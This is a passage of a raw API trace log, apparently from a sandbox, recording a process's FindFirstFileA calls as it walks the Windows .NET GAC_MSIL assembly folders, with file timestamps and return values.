ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69a7280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.263] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiActivScp\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69a7280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69a7280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.268] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiBmlDataCarousel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69cd3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69cd3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.273] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiBmlDataCarousel\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69cd3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69cd3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.278] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiExtens\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69cd3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69cd3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiExtens\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69f3540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69f3540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.288] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiiTV\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69f3540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69f3540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.293] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiiTV\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69f3540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69f3540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.299] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiProxy\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x69f3540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x69f3540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.304] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiProxy\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a196a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a196a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.309] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiTVMSMusic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a196a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a196a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.313] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiTVMSMusic\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a196a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a196a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiUPnP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a3f800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a3f800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.324] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiUPnP\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a3f800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a3f800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.329] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiUserXp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a3f800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a3f800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.334] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiUserXp\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a65960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a65960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiVidCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a65960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a65960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.347] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiVidCtl\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a8bac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a8bac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiwmp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a8bac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a8bac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.358] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiwmp\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6a8bac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6a8bac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiWUapi\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ab1c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ab1c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.370] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehiWUapi\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ab1c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ab1c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehRecObj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ad7d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ad7d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.383] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehRecObj\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ad7d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ad7d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.388] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehshell\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ad7d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ad7d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.393] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ehshell\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6afdee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6afdee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.398] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\EventViewer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6afdee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6afdee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.402] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\EventViewer\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6afdee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6afdee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.408] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\EventViewer.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6b24040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b24040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.413] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\EventViewer.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6b24040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b24040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.418] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IEExecRemote\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b24040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b24040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IEExecRemote\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b4a1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b4a1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IEHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcaf65a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b4a1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b4a1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IEHost\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b4a1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b4a1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IIEHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b4a1a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b4a1a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.444] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\IIEHost\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6b70300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b70300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.451] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ipdmctrl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69b8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b70300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b70300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.457] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\ipdmctrl\\11.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64a2d290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b96460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b96460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.462] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\loadmxf\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6b96460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b96460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.466] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\loadmxf\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6b96460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6b96460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.471] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcepg\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6bbc5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6bbc5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.476] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcepg\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6bbc5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6bbc5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.481] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MCESidebarCtrl\\*", lpFindFileData=0x4ab3c8 | out: 